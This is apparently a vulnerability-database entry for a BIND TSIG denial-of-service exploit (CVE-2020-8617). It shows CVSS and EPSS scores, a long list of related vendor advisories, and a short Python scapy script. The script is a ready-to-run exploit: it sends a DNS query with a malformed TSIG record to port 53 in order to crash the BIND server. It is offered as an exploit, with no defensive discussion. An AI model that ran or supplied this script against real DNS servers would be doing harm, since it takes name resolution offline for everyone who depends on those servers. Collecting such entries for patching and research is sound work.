Lucene search
Teppei Fukuda1337DAY-ID-34485HistoryMay 27, 2020 - 12:00 a.m.
BIND - (TSIG) Denial of Service Exploit
2020-05-2700:00:00
Teppei Fukuda
0day.today
1014
5.9 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P
0.972 High
EPSS
Percentile
99.8%
BIND - (TSIG) Denial of Service Exploit
#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
Related
nessus
nessus
Juniper Junos OS DoS (JSA11091)
2021-01-14 00:00:00
ISC BIND Denial of Service
2020-05-22 00:00:00
RHEL 7 : bind (RHSA-2020:2893)
2020-07-13 00:00:00
debiancve
debiancve
CVE-2020-8617
2020-05-19 14:15:00
cve
cve
CVE-2020-8617
2020-05-19 14:15:00
veracode
veracode
Denial Of Service (DoS)
2020-05-29 03:24:18
f5
f5
K05544642 : BIND vulnerability CVE-2020-8617
2020-05-21 00:00:00
checkpoint_advisories
checkpoint_advisories
ISC Bind Denial Of Service (CVE-2020-8617)
2020-06-16 00:00:00
redhat
redhat
(RHSA-2020:2893) Important: bind security update
2020-07-13 10:17:27
(RHSA-2020:3475) Important: bind security update
2020-08-18 09:17:52
(RHSA-2020:3379) Important: bind security update
2020-08-10 08:54:19
alpinelinux
alpinelinux
CVE-2020-8617
2020-05-19 14:15:00
prion
prion
Design/Logic Flaw
2020-05-19 14:15:00
packetstorm
packetstorm
BIND TSIG Denial Of Service
2020-05-27 00:00:00
osv
osv
CVE-2020-8617
2020-05-19 14:15:11
bind9 - security update
2020-05-30 00:00:00
bind9 - security update
2020-05-19 00:00:00
githubexploit
githubexploit
Exploit for Reachable Assertion in Isc Bind
2020-05-20 12:26:45
redhatcve
redhatcve
CVE-2020-8617
2020-07-10 09:51:37
ubuntucve
ubuntucve
CVE-2020-8617
2020-05-19 00:00:00
oraclelinux
oraclelinux
bind security update
2020-06-03 00:00:00
bind security update
2020-06-04 00:00:00
bind security update
2020-06-01 00:00:00
openvas
openvas
CentOS: Security Advisory for bind (CESA-2020:2344)
2020-06-02 00:00:00
Fedora: Security Advisory for dnsperf (FEDORA-2020-f9dcd4e9d5)
2020-06-07 00:00:00
cisa
cisa
ISC Releases Security Advisory for BIND
2020-05-20 00:00:00
fedora
fedora
[SECURITY] Fedora 32 Update: bind-9.11.19-1.fc32
2020-06-01 01:26:21
[SECURITY] Fedora 31 Update: bind-9.11.19-1.fc31
2020-06-04 02:50:35
[SECURITY] Fedora 31 Update: dnsperf-2.3.4-1.fc31
2020-06-04 02:50:37
slackware
slackware
[slackware-security] bind
2020-05-19 20:19:54
ibm
ibm
Security Bulletin: IBM API Connect V10 is impacted by denial of service vulnerabilities in Crunchy kernel (CVE-2020-8616, CVE-2020-8617)
2020-10-07 23:02:51
Security Bulletin: Vulnerabilities in BIND affect AIX (CVE-2020-8616 and CVE-2020-8617)
2020-08-21 21:43:49
Security Bulletin: Vulnerability in bind (CVE-2020-8616 and CVE-2020-8617).
2021-09-22 23:38:15
debian
debian
[SECURITY] [DLA 2227-1] bind9 security update
2020-05-30 20:31:20
[SECURITY] [DSA 4689-1] bind9 security update
2020-05-19 19:48:14
[SECURITY] [DSA 4689-1] bind9 security update
2020-05-19 19:48:14
ubuntu
ubuntu
Bind vulnerabilities
2020-05-20 00:00:00
Bind vulnerabilities
2020-05-19 00:00:00
altlinux
altlinux
Security fix for the ALT Linux 10 package bind version 9.11.19-alt1
2020-05-19 00:00:00
Security fix for the ALT Linux 9 package bind version 9.11.19-alt1
2020-05-20 00:00:00
Security fix for the ALT Linux 8 package bind version 9.10.8.P1-alt2
2020-05-26 00:00:00
attackerkb
attackerkb
CVE-2020-8616: NXNSAttack: Recursive DNS Inefficiencies and Vulnerabilities
2020-05-19 00:00:00
centos
centos
bind security update
2020-06-01 17:29:59
bind security update
2020-06-04 16:10:05
amazon
amazon
Important: bind
2020-05-22 20:57:00
Important: bind
2020-05-19 18:32:00
aix
aix
archlinux
archlinux
[ASA-202005-13] bind: denial of service
2020-05-20 00:00:00
mageia
mageia
Updated bind packages fix security vulnerability
2020-06-15 10:54:40
photon
photon
Important Photon OS Security Update - PHSA-2020-0101
2020-06-04 00:00:00
Important Photon OS Security Update - PHSA-2020-3.0-0101
2020-06-03 00:00:00
suse
suse
Security update for bind (moderate)
2020-10-20 00:00:00
Security update for bind (moderate)
2020-10-19 00:00:00
5.9 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P
0.972 High
EPSS
Percentile
99.8%
Related for 1337DAY-ID-34485